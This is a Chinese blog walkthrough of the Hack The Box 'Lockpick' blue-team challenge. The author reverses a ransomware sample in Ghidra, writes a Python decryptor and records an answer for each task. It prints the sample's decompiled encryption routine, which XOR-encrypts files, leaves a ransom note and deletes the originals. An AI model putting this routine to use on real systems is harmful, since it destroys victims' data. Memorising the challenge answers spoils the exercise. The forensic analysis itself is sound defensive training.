首页 > 其他分享 >【HTB】Sherlocks Lockpick 蓝队 easy

【HTB】Sherlocks Lockpick 蓝队 easy

时间:2023-12-16 22:14:38浏览次数:48  
标签:文件 加密 HTB 蓝队 easy 28 file path local

全网首发

工具:gHydra

使用教程:https://www.secrss.com/articles/8829

Task 1

问题:请确认用于加密所提供文件的加密密钥字符串?


1、下载 ghydra(本人这是第一次接触逆向,因此需要下载工具,后面步骤可能不太规范,望大佬请喷)

ghydra	# 由于本地没有 ghydra,因此 kali 会提示是否下载,输入 Y,自动下载 ghydra 及其依赖包

2、分析文件

1)创建项目、导入文件

2)双击

3)双击进入后会有提示,选择 yes

4)默认选项即可,点击分析

5)加密字符串

已进来就可以看见 main 函数,前一个参数为路径,后一个参数为加密字符串

答案:bhUlIshutrea98liOp

Task 2

问题:我们最近收到了一封来自 [email protected] 的电子邮件,要求知道我们为其注册的名字和姓氏。他们认为自己在申请过程中犯了一个错误。请确认该申请人的名字和姓氏。


1、分析函数逻辑

1)主函数

主函数调用了 process_directory 函数,并传递一个路径,一个密钥,双击此函数

2)process_directory 函数

这个函数作用是获取目录下的文件,最下面可以看见 encrypt_file 函数,双击

3)encrypt_file 函数

获取文件内容,按字节加密,然后创建新文件,把原文件删除。我们把函数复制下来具体分析

2、编写解密程序

1)详细解读加密过程

// 文件加密函数
void encrypt_file(char *param_1,char *param_2)

{
  byte bVar1;			// 中间变量,字节
  ulong uVar2;			// 中间变量,字节索引,用于求模
  int iVar3;			
  size_t sVar4;			// 密码长度
  char local_848 [1024];
  char local_448 [1032];
  FILE *local_40;
  void *local_38;		// 内存块大小
  size_t local_30;		// 文件长度
  FILE *local_28;		// 文件内容
  ulong local_20;		// 中间变量,字节索引,用于查找字节

  local_28 = fopen(param_1,"rb");
  if (local_28 == (FILE *)0x0) {
    printf("Error opening file: %s\n",param_1);
  }
  else {
      // 获取文件长度
    fseek(local_28,0,2);	
    local_30 = ftell(local_28);
    rewind(local_28);
      // 将文件内容读取到内存块中
    local_38 = malloc(local_30);
    fread(local_38,1,local_30,local_28);	
    fclose(local_28);
      // 加密,对每个字节,将其与密钥param_2进行异或操作,以实现加密。异或操作的密钥长度为strlen(param_2)
    for (local_20 = 0; uVar2 = local_20, (long)local_20 < (long)local_30; local_20 = local_20 + 1) {
      bVar1 = *(byte *)((long)local_38 + local_20);		// 诶个获取文件内容字节
      sVar4 = strlen(param_2);	// 密码长度
        // 利用文件内容字节的索引选取加密字符串中的一个字母,对文件内容字节做异或运算
      *(byte *)((long)local_38 + local_20) = bVar1 ^ param_2[uVar2 % sVar4];	
    }
      // 生成文件名(原名 + 24bes 后缀)
    snprintf(local_448,0x400,"%s.24bes",param_1);
      // 写入加密后的内容
    local_28 = fopen(local_448,"wb");
    fwrite(local_38,1,local_30,local_28);
    fclose(local_28);
      // 释放内存块
    free(local_38);
      
      // 生成要挟文件
    snprintf(local_848,0x400,"%s_note.txt",local_448);
    local_40 = fopen(local_848,"w");
    if (local_40 == (FILE *)0x0) {
      printf("Error creating note file: %s\n",local_848);
    }
    else {
      fwrite("This file has been encrypted by bes24 group, please contact us at [email protected]  to discuss payment for us providing you the decryption software..\n"
             ,1,0x99,local_40);
      fclose(local_40);
    }
      
    iVar3 = remove(param_1);	// 删除原文件
    if (iVar3 != 0) {
      printf("Error deleting original file: %s\n",param_1);
    }
  }
  return;
}

理清加密程序逻辑后,编写解密程序,用密文对密钥做异或运算,即可得到明文

2)编写解密脚本

python 解密脚本

import os
import time

# 获取加密文件
def list_files(directory):
    return [i for i in os.listdir(directory) if i[-6:]=='.24bes']

# 解密
def decrypt(path,file):
    key = 'bhUlIshutrea98liOp'
    key_len = len(key)
    content = bytearray()
    
    # 创建存储解密文件的目录
    try:
        os.makedirs(path+'decrypt\\')
    except:pass
    
    decrypt_before_path = path+file
    decrypt_after_path = path+'decrypt\\'+file[:-6]
    
    # 获取文件内容
    with open(decrypt_before_path, 'rb') as file:
        data = file.read()

    # 解密
    for i,v in enumerate(data):
        content.append(v ^ ord(key[i % key_len]))

    # 保存解密文件
    with open(decrypt_after_path, "wb") as f:
        f.write(content)


path = 'D:\\htb\\sherlocks\\lockpick\\lockpick1\\forela-criticaldata\\'		# 你的路径
files = list_files(path)
i,file_len = 1,len(files)

for file in files:
    decrypt(path,file)
    print(f'\r[+] {i/file_len:.0%} [{"▓"*10*(i)+" "*10*(file_len-i)}]',end='')	# 进度条(劣质)
    time.sleep(0.5)
    i += 1

最后可以得到以下文件

3、查看 forela_uk_applicants.sql 文件

根据邮箱([email protected])查找名字

答案:Walden Bevans

Task 3

问题:分配给 Hart Manifould 的笔记本电脑的 MAC 地址和序列号是多少?


查看 it_assets.xml 文件,直接查找 Hart Manifould

答案:E8-16-DF-E7-52-48, 1316262(逗号后面是空格)

Task 4

问题:攻击者的电子邮件地址是什么?


每个加密文件都有一个要挟文件,打开就可以发现有个邮箱

答案:[email protected]

Task 5

问题:伦敦市警方怀疑我们的交易组织内存在一些内幕交易。请确认单笔交易中利润率最高者的电子邮件地址以及利润率。


查看 trading-firebase_bkup.json 文件,数据太多,而且不好排序

用 python 脚本进行排序

import re
from decimal import Decimal

with open('D:\\htb\\sherlocks\\lockpick\\lockpick1\\forela-criticaldata\\decrypt\\trading-firebase_bkup.json','r') as f:
    data = f.readlines()

lis = []
for i in data:
    temp = re.search(r'email":"(.*?)".*?profit_percentage":(.*?),"in',i)
    if temp:
        lis.append([temp.group(1),Decimal(temp.group(2))])

lis.sort(key=lambda x :x[1],reverse=True)

print(f'[+] email:{lis[0][0]}',f'[+] profit_percentage:{lis[0][1]:.25f}',sep='\n')

答案:[email protected], 142303.1996053929628411706675436

Task 6

问题:我们的电子取证团队希望确认销售预测日志中涉嫌与同事共享帐户的用户的详细 IP 地址。请确认 Karylin O'Hederscoll 的 IP 地址。


查看 sales_forecast.xlsx 文件,根据姓(O'Hederscoll)名(Karylin)查找

答案:8.254.104.208

Task 7

问题:以下哪个文件扩展名不是恶意软件的目标?.txt, .sql,.ppt, .pdf, .docx, .xlsx, .csv, .json, .xml


答案:.ppt

Task 8

问题:解密后我们需要确认文件的完整性。请确认申请人数据库的MD5哈希值。


cmd 命令

certUtil -hashfile forela_uk_applicants.sql md5

答案:f3894af4f1ffa42b3a379dddba384405

Task 9

问题:解密后我们需要确认文件的完整性。请确认交易备份的MD5哈希值。


cmd 命令

certUtil -hashfile trading-firebase_bkup.json md5

答案:87baa3a12068c471c3320b7f41235669

Task 10

问题:解密后我们需要确认文件的完整性。请确认投诉文件的 MD5 哈希值。


cmd 命令

certUtil -hashfile complaints.csv md5

答案:c3f05980d9bd945446f8a21bafdbf4e7

标签:文件,加密,HTB,蓝队,easy,28,file,path,local
From: https://www.cnblogs.com/IFS-/p/17908448.html

相关文章

  • 使用EasyN2N(小黄鸭)搭建虚拟局域网进行联机游戏~
    前言想和在114514公里外的好基友一起van游戏但是苦于没有公网ip,咋办捏?你可能会说:哎呀简单,买张机票飞过去,去他家玩就可以力awa但可不是谁都像你那么有¥!!!但是现在有一个工具可以实现模拟你和基友处于同一局域网下,这样就可以让身处“天涯”的朋友“若比邻”了他就是——内网穿透!......
  • [Codeforces] CF1744E1 Divisible Numbers (easy version)
    CF1744E1DivisibleNumbers(easyversion)题意给你四个数\(a,b,c,d\),你需要找出一组\(x,y\)使得\(a<x\leqc,b<y\leqd\)并且\(x\cdoty\)能被\(a\cdotb\)整除,如果没有输出-1-1。思路最暴力的思路肯定是枚举,更肯定的一点是会TLE但是注意到,如果\(x\)一定,那么他......
  • INFINI Labs 产品更新 | Easysearch 新增快照搜索功能,Console 支持 OpenSearch 存储
    INFINILabs产品又更新啦~,包括Easysearchv1.7.0、Consolev1.13.0。本次各产品更新了Easysearch快照搜索功能;Console支持OpenSearch集群存储系统数据、优化了初始化安装向导流程等。以下是本次更新的详细说明。INFINIEasysearchv1.7.0INFINIEasysearch是一个分布......
  • 2024年视频监控行业发展趋势预测及EasyCVR视频分析技术应用
    随着技术的改进,视频监控领域在过去十年迅速发展。与此同时,该行业正在通过先进创新技术(如人工智能和云计算等技术)的积极商业化,获得了新的增长机会。视频监控系统不再仅仅用于记录图像,而是已经成为全球企业改善运营、提高生产力和增强安全性的重要工具。传统视频安防解决方案转变为......
  • TSINGSEE青犀古寺庙智能视频监控EasyCVR方案介绍
    古寺庙不仅是一个旅游胜地,更是一个文物古迹繁多的地方,随着人们对寺庙“洗涤心灵”的向往,寺庙人流也逐渐增多,寺庙中文物古迹的保护也十分重要,伴随着人工智能、互联网的兴起,寺庙的运营改革迫在眉睫。方案概述寺庙智能视频监控方案主要从两大方向开展,一是寺庙的日常安全监管,二是......
  • 浅析AI视频分析与视频管理系统EasyCVR平台及场景应用
    人工智能的战略重要性导致对视频智能分析的需求不断增加。鉴于人工智能视觉技术的巨大潜力,人们的注意力正在从传统的视频监控转移到计算机视觉的监控过程自动化。1、什么是视频分析?视频分析或视频识别技术,是指从视频片段中提取有用信息的过程,比如视频中的人数、识别特定的物体或......
  • 浅析AI视频分析与视频管理系统EasyCVR平台及场景应用
    人工智能的战略重要性导致对视频智能分析的需求不断增加。鉴于人工智能视觉技术的巨大潜力,人们的注意力正在从传统的视频监控转移到计算机视觉的监控过程自动化。1、什么是视频分析?视频分析或视频识别技术,是指从视频片段中提取有用信息的过程,比如视频中的人数、识别特定的物体或个......
  • 智能分析/可视化安防监控系统EasyCVR风光互补远程视频监控方案
    一、背景需求在一些偏远地区,也具有视频监控的需求。但是这类场景中,一般无法就近获取市电,如果要长距离拉取市电,建设的成本非常高且长距离传输有安全隐患,因此风光互补远程视频监控方案的需求也较多。利用风光电转化原理为偏远或无电区域的视频监控设备提供电力供应,从而满足偏远地区......
  • 实网攻防演练丨面对鱼叉式网络钓鱼攻击,蓝队如何防御?
    大家好,我是i春秋的老朋友恶灵退散,95后安全运营工程师,信息安全专业,目前在职于中国某通信厂商做蓝军建设的工作。很高兴受邀i春秋的采访,在本期访谈中,我将给大家介绍下真实的实网攻防经历,以及作为蓝军的经验感悟和知识分享,如果你也是网络安全爱好者,或者对实网攻防感兴趣,欢迎阅读本篇......
  • 【HTB】Sherlocks-Bumblebee 蓝队 easy
    Task1题目:外部承包商的用户名是什么?外部承包商通过访客WiFi访问了Forela的内部论坛,他们似乎窃取了管理用户的凭据!通过内部论坛窃取管理用户的凭据,首先需要注册一个普通用户。通过访客WiFi访问,ip肯定是内网ip1、进入sqlite3tar-zxvfincident.tgz#解压sqlit......